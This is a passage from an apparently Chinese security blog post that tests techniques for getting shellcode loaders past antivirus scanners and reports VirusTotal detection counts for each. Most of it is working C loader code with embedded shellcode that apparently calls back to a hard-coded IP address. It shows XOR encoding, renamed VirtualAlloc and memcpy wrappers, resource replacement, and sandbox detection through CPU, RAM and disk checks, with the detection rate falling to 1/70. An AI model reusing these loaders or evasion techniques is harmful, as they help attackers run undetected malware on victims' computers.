xff\xd5\x85\xc0\x0f\x84\xca\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x75\x07\x58\x50\xe9\x7b\xff\xff\xff\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x6f\xff\xff\xff\x2f\x77\x4c\x58\x41\x00\x0f\x62\x83\xaf\x4a\x3f\x70\x88\xaf\x12\x74\xcf\x44\xef\x27\x40\xf1\xf9\xb9\xbe\x29\x9a\xf5\xf4\x4a\xd6\x0d\x02\x5d\x63\xa6\x60\x8d\xdb\xef\x58\x95\xd4\xc3\x7d\xe8\x8d\x45\x15\x63\xcd\x5e\x83\xce\xdd\x63\x2f\x27\x4a\x41\x57\xc8\xaf\x8e\xc3\xdb\x9f\x30\xfe\x31\x92\x18\xa9\xc3\xee\xa6\x18\x1e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x32\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x6b\x31\xd3\x4a\xd2\x68\xaf\x91\xbc\x9e\xb9\x2f\x5a\x9e\xba\xc9\xe5\xf3\x20\x91\xf5\xf8\x80\x28\xe8\x5a\xe8\xfb\x44\xd8\x31\xa2\xb5\xc4\xc0\x28\xba\x33\x63\x9c\x14\xdc\x5d\x1c\xd0\x93\x7c\xf8\xbc\xf1\xd2\xad\x94\xee\x38\xeb\xc8\xde\x36\xf9\x37\xea\xaa\x82\xd0\x39\x25\x47\x67\xa2\x32\xbe\x59\x60\xdf\xcb\x72\x6c\x2d\x04\x87\x88\x70\x4f\x33\x98\x11\x0e\xc3\xad\xfb\x7d\x5c\x3d\xb7\x51\x08\x2c\x54\x93\xcd\x55\xba\x91\x09\x8c\x51\x74\xae\xae\x50\x95\xc9\x30\x98\xda\xd0\x81\x2e\x1e\xee\x7b\x02\xab\x9d\x60\x33\xd8\x40\x36\xd0\x08\x9f\x52\x87\x2f\xd0\x41\x16\xdd\x7a\xba\x48\x45\xbc\xbc\xaa\xd3\x6b\x98\x4f\x7e\xb1\xf0\xbe\x6d\x62\x32\x6d\xe7\xab\xe5\x3f\xac\x51\x99\x13\x9b\xf1\x61\x3b\x10\x1b\x5c\xae\x38\x42\x76\x6e\x7b\xc8\x22\xb0\x3a\x28\x04\xeb\x21\x63\xf7\x63\xcc\x86\xd4\xdd\x1c\xae\x41\x9d\xd7\xb2\xc9\x51\x5d\x1c\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x89\xfd\xff\xff\x34\x37\x2e\x32\x34\x34\x2e\x33\x2e\x31\x37\x36";
    unsigned char code1[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b";
    //unsigned char code2[] = "\x33\x2e\x31\x37\x36\x00\x12\x34\x56\x78";
    unsigned char code2[] = "\x00\x12\x34\x64\x8b";
    //unsigned char code2[] = "\x00\x00\x00\x00\x00\x00\xff\xff\x00\xff\xff\x00";   
    UINT shellcodeSize = sizeof shellcode;
    fackto(shellcode, code1, 13);
    fackto(shellcode + 831, code2, 5);

    //2.Get shellcode memory
    pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc");
    LPVOID Memory = fnVirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    fackto(Memory, shellcode, shellcodeSize);
    //3.Execute shellcode
    ((void(*)())Memory)();
    return 0;
}

查杀效果 11/71

我笑了emmmm。

Test 7 替换资源

原理

正常的程序都有图标或者版本之类的,我们可以通过替换资源的方式来尝试绕过某些杀软。

查杀效果 9/71

正如VT上显示的,我们又绕过了两家杀软。

Test8 xor异或加解密

原理

对shellcode进行xor异或加密,然后函数解密回来看看杀软效果。

代码

#ifdef _MSC_VER
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#pragma comment(linker,"/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")//减小编译体积 
#endif
#include "stdafx.h"
#include "windows.h"

#include <iostream>

using namespace std;
typedef LPVOID(WINAPI* pfnVirtualAlloc)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
//自定义VirtualAlloc、memcpy函数名
LPVOID fAV(LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD flProtect)
{
    return VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}
void* fackto(void* str1, const void* str2, size_t n)
{
    return memcpy(str1, str2, n);
}




int main(int argc, char** argv)
{

    unsigned char shellcode[] = "\xf6\xe2\x83\xa\xa\xa\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x6\x81\x58\x1e\x81\x78\x22\x5\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x8\x26\x2a\xcb\xc5\x7\xb\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\xb\xda\x81\x4a\x72\x8f\xca\x7e\x40\xb\xda\x5a\x81\x42\x12\x81\x52\x2a\xb\xd9\xe9\x36\x43\x81\x3e\x81\xb\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x7\xb\xcd\x32\xea\x7f\xfe\x9\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\xb\xd9\x6c\x81\x6\x41\x81\x52\x16\xb\xd9\x81\xe\x81\xb\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\xa\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\xd\xf5\xdf\xe2\xa\xa\xa\xa\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\xae\xa\xa\xa\x51\x3b\xc3\x5b\x5b\x60\x9\x5b\x5b\x62\x57\x92\xa\xa\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\x5a\xe3\x86\xa\xa\xa\x51\x3b\xd8\x58\x62\xa\x38\xca\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x62\x8a\x39\xa\xa\x83\xea\x60\xe\x5a\x60\x15\x5c\x62\x7f\x4c\x94\x8c\xf5\xdf\x55\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\xc\x12\x71\xf5\xdf\x8f\xca\x5\x8e\xc0\xb\xa\xa\x3b\xf5\x8f\xfc\x7e\xe\x83\xf3\xe1\x3\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\xd\x5b\x5c\x5a\x62\xbd\x5d\xea\x1\xf5\xdf\xb5\xa\x25\xa\xa\x33\xcd\x7f\xd\x52\x5a\xe3\x71\xf5\xf5\xf5\x3b\xf5\xe3\x9b\xb\xa\xa\xe3\xc3\xb\xa\xa\xe2\x65\xf5\xf5\xf5\x25\x7d\x46\x52\x4b\xa\x5\x68\x89\xa5\x40\x35\x7a\x82\xa5\x18\x7e\xc5\x4e\xe5\x2d\x4a\xfb\xf3\xb3\xb4\x23\x90\xff\xfe\x40\xdc\x7\x8\x57\x69\xac\x6a\x87\xd1\xe5\x52\x9f\xde\xc9\x77\xe2\x87\x4f\x1f\x69\xc7\x54\x89\xc4\xd7\x69\x25\x2d\x40\x4b\x5d\xc2\xa5\x84\xc9\xd1\x95\x3a\xf4\x3b\x98\x12\xa3\xc9\xe4\xac\x12\x14\xa\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3e\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x32\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3f\x24\x38\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3e\x24\x3a\x31\x2a\x24\x44\x4f\x5e\x2a\x49\x46\x58\x2a\x38\x24\x3a\x24\x3f\x3a\x3d\x38\x3d\x23\x7\x0\xa\x61\x3b\xd9\x40\xd8\x62\xa5\x9b\xb6\x94\xb3\x25\x50\x94\xb0\xc3\xef\xf9\x2a\x9b\xff\xf2\x8a\x22\xe2\x50\xe2\xf1\x4e\xd2\x3b\xa8\xbf\xce\xca\x22\xb0\x39\x69\x96\x1e\xd6\x57\x16\xda\x99\x76\xf2\xb6\xfb\xd8\xa7\x9e\xe4\x32\xe1\xc2\xd4\x3c\xf3\x3d\xe0\xa0\x88\xda\x33\x2f\x4d\x6d\xa8\x38\xb4\x53\x6a\xd5\xc1\x78\x66\x27\xe\x8d\x82\x7a\x45\x39\x92\x1b\x4\xc9\xa7\xf1\x77\x56\x37\xbd\x5b\x2\x26\x5e\x99\xc7\x5f\xb0\x9b\x3\x86\x5b\x7e\xa4\xa4\x5a\x9f\xc3\x3a\x92\xd0\xda\x8b\x24\x14\xe4\x71\x8\xa1\x97\x6a\x39\xd2\x4a\x3c\xda\x2\x95\x58\x8d\x25\xda\x4b\x1c\xd7\x70\xb0\x42\x4f\xb6\xb6\xa0\xd9\x61\x92\x45\x74\xbb\xfa\xb4\x67\x68\x38\x67\xed\xa1\xef\x35\xa6\x5b\x93\x19\x91\xfb\x6b\x31\x1a\x11\x56\xa4\x32\x48\x7c\x64\x71\xc2\x28\xba\x30\x22\xe\xe1\x2b\x69\xfd\x69\xc6\x8c\xde\xd7\x16\xa4\x4b\x97\xdd\xb8\xc3\x5b\x57\x16\xa\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\xa\x1a\xa\xa\x62\xa\xa\x4a\xa\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\xa\xa\xa\xa\xb\xd3\x5b\x59\x83\xed\x5d\x62\xa\x2a\xa\xa\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\xd\xb\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\x83\xf7\xf5\xf5\x3e\x3d\x24\x38\x3e\x3e\x24\x39\x24\x3b\x3d\x3c\xa\x18\x3e\x5c\x72";

    for (int i = 0; i <= sizeof(shellcode); i++) {
        shellcode[i] ^= 10;
    }


    UINT shellcodeSize = sizeof shellcode;


    //2.Get shellcode memory
    pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc");
    LPVOID Memory = fnVirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    fackto(Memory, shellcode, shellcodeSize);
    //3.Execute shellcode
    ((void(*)())Memory)();
    return 0;
}

查杀效果 19/69

不太行,但卡巴斯基竟然过了,离谱

Test9 xor+memcpy

原理

既然一种方法不行,咱们就搞两种,这种方法也是我前段时间一直在用的方法,当时测试某60某绒某defend都是过的。

Test10 硬件检测+xor

原理

一般的电脑现在都是最少4G内存了,硬盘最少都是200G的,CPU核心数都是2个以上,而反观虚拟机上的大部分都是分配个双核,2G内存,100G硬盘左右

代码

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口


int main()

{

    SYSTEM_INFO SystemInfo;
    GetSystemInfo(&SystemInfo);//获取系统信息
    DWORD NumberOfProcessors = SystemInfo.dwNumberOfProcessors;
    if (NumberOfProcessors < 2)
    {
        return 0;
    }
    //std::cout << NumberOfProcessors<<std::endl;
    // check RAM
    MEMORYSTATUSEX MemoryStatus;
    MemoryStatus.dwLength = sizeof(MemoryStatus);
    GlobalMemoryStatusEx(&MemoryStatus);
    DWORD RAMMB = MemoryStatus.ullTotalPhys / 1024 / 1024;
    //std::cout << RAMMB << std::endl;
    if (RAMMB < 2048)
    {
        return 0;
    }

    // check HDD
    HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    DISK_GEOMETRY pDiskGeometry;
    DWORD bytesReturned;
    DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
    DWORD diskSizeGB;
    diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
    //std::cout << diskSizeGB << std::endl;
    if (diskSizeGB < 100)
    {
        return 0;
    }


    int shellcode_size = 0; // shellcode长度
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
    DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */

    unsigned char buf[] = "\xf6\x42\x89\xee\xfa\xe2\xc2\xa\xa\xa\x4b\x5b\x4b\x5a\x58\x5b\x5c\x42\x3b\xd8\x6f\x42\x81\x58\x6a\x42\x81\x58\x12\x42\x81\x58\x2a\x42\x81\x78\x5a\x42\x5\xbd\x40\x40\x47\x3b\xc3\x42\x3b\xca\xa6\x36\x6b\x76\x8\x26\x2a\x4b\xcb\xc3\x7\x4b\xb\xcb\xe8\xe7\x58\x4b\x5b\x42\x81\x58\x2a\x81\x48\x36\x42\xb\xda\x6c\x8b\x72\x12\x1\x8\x7f\x78\x81\x8a\x82\xa\xa\xa\x42\x8f\xca\x7e\x6d\x42\xb\xda\x5a\x81\x42\x12\x4e\x81\x4a\x2a\x43\xb\xda\xe9\x5c\x42\xf5\xc3\x4b\x81\x3e\x82\x42\xb\xdc\x47\x3b\xc3\x42\x3b\xca\xa6\x4b\xcb\xc3\x7\x4b\xb\xcb\x32\xea\x7f\xfb\x46\x9\x46\x2e\x2\x4f\x33\xdb\x7f\xd2\x52\x4e\x81\x4a\x2e\x43\xb\xda\x6c\x4b\x81\x6\x42\x4e\x81\x4a\x16\x43\xb\xda\x4b\x81\xe\x82\x42\xb\xda\x4b\x52\x4b\x52\x54\x53\x50\x4b\x52\x4b\x53\x4b\x50\x42\x89\xe6\x2a\x4b\x58\xf5\xea\x52\x4b\x53\x50\x42\x81\x18\xe3\x45\xf5\xf5\xf5\x57\x60\xa\x43\xb4\x7d\x63\x64\x63\x64\x6f\x7e\xa\x4b\x5c\x43\x83\xec\x46\x83\xfb\x4b\xb0\x46\x7d\x2c\xd\xf5\xdf\x42\x3b\xc3\x42\x3b\xd8\x47\x3b\xca\x47\x3b\xc3\x4b\x5a\x4b\x5a\x4b\xb0\x30\x5c\x73\xad\xf5\xdf\xe3\x99\xa\xa\xa\x50\x42\x83\xcb\x4b\xb2\x57\x92\xa\xa\x47\x3b\xc3\x4b\x5b\x4b\x5b\x60\x9\x4b\x5b\x4b\xb0\x5d\x83\x95\xcc\xf5\xdf\xe1\x73\x51\x42\x83\xcb\x42\x3b\xd8\x43\x83\xd2\x47\x3b\xc3\x58\x62\xa\x38\xca\x8e\x58\x58\x4b\xb0\xe1\x5f\x24\x31\xf5\xdf\x42\x83\xcc\x42\x89\xc9\x5a\x60\x0\x55\x42\x83\xfb\xb0\x15\xa\xa\xa\x60\xa\x62\x8a\x39\xa\xa\x43\x83\xea\x4b\xb3\xe\xa\xa\xa\x4b\xb0\x7f\x4c\x94\x8c\xf5\xdf\x42\x83\xfb\x42\x83\xd0\x43\xcd\xca\xf5\xf5\xf5\xf5\x47\x3b\xc3\x58\x58\x4b\xb0\x27\xc\x12\x71\xf5\xdf\x8f\xca\x5\x8f\x97\xb\xa\xa\x42\xf5\xc5\x5\x8e\x86\xb\xa\xa\xe1\xb9\xe3\xee\xb\xa\xa\xe2\x88\xf5\xf5\xf5\x25\x70\x6b\x3b\x5b\xa\x3e\xdf\x39\xd3\x46\x4b\x22\xcd\xf6\x5e\xb4\x35\x1e\xbe\x84\x43\xa5\xd9\x51\x9d\x9b\xd5\xee\xb7\xed\x84\x1f\xf8\x64\xd9\x44\xd8\x9b\x80\x5e\xf6\xd8\xdf\x10\x1e\xc5\x2f\x0\x67\xb6\x9\xa\xc8\xb7\x75\x37\x90\xc1\xd0\x88\x3b\x26\x48\x73\x5e\x5c\xb5\x3c\x79\xc6\xdf\x51\x3f\xc6\x74\x41\xb0\xd7\xa\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5d\x45\x5d\x3c\x3e\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x44\x5a\x3a\x3c\x23\x7\x0\xa\x90\xa9\xc\x5\x12\xe5\x1e\x69\x24\x6f\xab\xde\x6\x6e\x65\xfa\xdb\x62\x87\x86\xfe\x2e\x28\xfd\xcd\x83\xed\x4\x9a\x9c\x7d\xe4\x31\x44\x70\x6a\xcb\x52\xd2\x9c\x8c\x7\x59\x8d\xf7\x22\xc0\xfb\x2a\xf1\x63\x8d\xaf\x4c\xbf\xb4\x5c\xa6\x85\xa4\xf4\x4a\xed\xf4\xb6\xa7\x5\x2d\x72\x66\xe\x40\x57\xd6\xa7\x62\xf7\x80\x81\x3c\x15\x3d\x76\x8\xf3\xe0\x14\x77\xfe\x8a\x3e\x21\xfc\xb5\x2b\xa5\x3\x3\x1e\xef\x8\xed\xc6\xe4\x6a\x8b\xac\xb7\x7\x78\x5d\x49\xfd\x69\xf4\x85\xec\x43\x35\x20\x75\x5b\x7c\xeb\xe6\xb4\x71\x8d\xe6\x83\xb5\x1d\x27\x5c\xa0\x9e\x3d\xf7\xf6\xd1\x7a\x4e\xad\x43\x6c\x1b\x8a\xb2\x92\x56\xb0\x30\xe0\xa2\x3a\xec\x4e\x46\x0\x75\x6d\x3c\xe4\xb4\xc5\x2b\x23\x44\x96\x4b\x71\x4d\x49\xbe\xa1\x46\x3b\x2b\x76\xac\x7d\xff\x64\x3d\xc7\x10\x99\x3f\x92\x5f\xa4\xb5\xea\xdf\x2a\xf\x4d\xf4\x12\x42\xe2\xfe\x8d\xb2\x8d\xa6\x22\xb5\x31\xc5\x3e\x76\xa\x4b\xb4\xfa\xbf\xa8\x5c\xf5\xdf\x42\x3b\xc3\xb0\xa\xa\x4a\xa\x4b\xb2\xa\x1a\xa\xa\x4b\xb3\x4a\xa\xa\xa\x4b\xb0\x52\xae\x59\xef\xf5\xdf\x42\x99\x59\x59\x42\x83\xed\x42\x83\xfb\x42\x83\xd0\x4b\xb2\xa\x2a\xa\xa\x43\x83\xf3\x4b\xb0\x18\x9c\x83\xe8\xf5\xdf\x42\x89\xce\x2a\x8f\xca\x7e\xbc\x6c\x81\xd\x42\xb\xc9\x8f\xca\x7f\xdd\x52\x52\x52\x42\xf\xa\xa\xa\xa\x5a\xc9\xe2\x75\xf7\xf5\xf5\x3e\x3d\x24\x38\x3e\x3e\x24\x39\x24\x3b\x3d\x3c\xa\x18\x3e\x5c\x72";


    // 获取shellcode大小
    shellcode_size = sizeof(buf);

    /* 增加异或代码 */
    for (int i = 0; i < shellcode_size; i++) {
        buf[i] ^= 10;
    }
    /*
    VirtualAlloc(
        NULL, // 基址
        800,  // 大小
        MEM_COMMIT, // 内存页状态
        PAGE_EXECUTE_READWRITE // 可读可写可执行
        );
    */

    char* shellcode = (char*)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_READWRITE // 只申请可读可写
        //原来的属性是PAGE_EXECUTE_READWRITE
    );

    // 将shellcode复制到可读可写的内存页中
    CopyMemory(shellcode, buf, shellcode_size);

    // 这里开始更改它的属性为可执行
    VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

    // 等待几秒,兴许可以跳过某些沙盒呢?
    Sleep(2000);

    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
    );

    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
    return 0;

}

加载执行方式使用的是倾旋大佬的恶意静态代码逃逸中的代码。

查杀效果 1/70

下面这个为加了签名和替换资源的查杀结果


文章来源: http://xz.aliyun.com/t/9122
如有侵权请联系:admin#unsafe.sh